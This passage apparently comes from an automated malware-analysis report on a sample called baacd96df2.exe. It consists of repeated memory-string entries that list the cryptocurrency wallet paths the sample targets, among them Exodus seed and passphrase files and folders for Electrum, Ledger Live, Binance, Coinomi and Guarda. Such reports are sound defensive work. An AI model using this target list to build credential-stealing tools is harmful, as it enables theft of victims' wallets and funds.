Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json*
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: baacd96df2.exe, 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
